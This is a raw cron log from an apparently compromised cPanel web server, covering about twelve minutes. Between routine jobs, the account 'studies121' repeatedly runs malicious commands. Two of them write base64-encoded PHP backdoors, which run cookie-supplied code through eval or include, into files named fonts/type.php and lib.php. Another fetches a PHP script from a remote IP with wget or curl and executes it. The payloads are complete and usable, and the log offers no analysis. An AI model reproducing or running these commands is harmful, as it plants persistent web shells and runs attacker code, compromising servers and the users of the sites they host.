Sep  1 19:30:01 ip-184-168-122-23 CROND[13228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:30:01 ip-184-168-122-23 CROND[13225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:30:01 ip-184-168-122-23 CROND[13223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:30:01 ip-184-168-122-23 CROND[13226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:30:01 ip-184-168-122-23 CROND[13229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:30:01 ip-184-168-122-23 CROND[13231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:31:01 ip-184-168-122-23 CROND[13315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:31:01 ip-184-168-122-23 CROND[13317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:31:01 ip-184-168-122-23 CROND[13318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:31:01 ip-184-168-122-23 CROND[13319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:31:01 ip-184-168-122-23 CROND[13320]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:32:01 ip-184-168-122-23 CROND[13424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:32:01 ip-184-168-122-23 CROND[13426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:32:01 ip-184-168-122-23 CROND[13429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:32:01 ip-184-168-122-23 CROND[13428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:32:01 ip-184-168-122-23 CROND[13427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:33:01 ip-184-168-122-23 CROND[13585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:33:01 ip-184-168-122-23 CROND[13586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:33:01 ip-184-168-122-23 CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:33:01 ip-184-168-122-23 CROND[13588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:34:01 ip-184-168-122-23 CROND[13679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:34:01 ip-184-168-122-23 CROND[13684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:34:01 ip-184-168-122-23 CROND[13688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:34:01 ip-184-168-122-23 CROND[13686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:34:01 ip-184-168-122-23 CROND[13690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:35:01 ip-184-168-122-23 CROND[13781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:35:01 ip-184-168-122-23 CROND[13783]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 19:35:01 ip-184-168-122-23 CROND[13784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:35:01 ip-184-168-122-23 CROND[13789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:35:01 ip-184-168-122-23 CROND[13788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:35:02 ip-184-168-122-23 CROND[13785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:35:02 ip-184-168-122-23 CROND[13787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:35:02 ip-184-168-122-23 CROND[13786]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:36:02 ip-184-168-122-23 CROND[13883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:36:02 ip-184-168-122-23 CROND[13885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:36:02 ip-184-168-122-23 CROND[13886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:36:02 ip-184-168-122-23 CROND[13884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:36:02 ip-184-168-122-23 CROND[13887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:37:01 ip-184-168-122-23 CROND[13966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:37:01 ip-184-168-122-23 CROND[13967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:37:01 ip-184-168-122-23 CROND[13969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:37:01 ip-184-168-122-23 CROND[13970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:38:01 ip-184-168-122-23 CROND[14092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:38:01 ip-184-168-122-23 CROND[14093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:38:01 ip-184-168-122-23 CROND[14095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:38:01 ip-184-168-122-23 CROND[14098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:38:01 ip-184-168-122-23 CROND[14097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:39:01 ip-184-168-122-23 CROND[14276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:39:01 ip-184-168-122-23 CROND[14274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:39:01 ip-184-168-122-23 CROND[14277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:39:01 ip-184-168-122-23 CROND[14278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:39:01 ip-184-168-122-23 CROND[14275]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 19:40:01 ip-184-168-122-23 CROND[14370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:40:01 ip-184-168-122-23 CROND[14372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:40:01 ip-184-168-122-23 CROND[14374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:40:01 ip-184-168-122-23 CROND[14378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:40:01 ip-184-168-122-23 CROND[14379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:40:01 ip-184-168-122-23 CROND[14375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:40:01 ip-184-168-122-23 CROND[14377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:40:01 ip-184-168-122-23 CROND[14381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:41:01 ip-184-168-122-23 CROND[14478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:41:01 ip-184-168-122-23 CROND[14479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:41:01 ip-184-168-122-23 CROND[14480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:41:01 ip-184-168-122-23 CROND[14482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:42:01 ip-184-168-122-23 CROND[14558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:42:01 ip-184-168-122-23 CROND[14560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
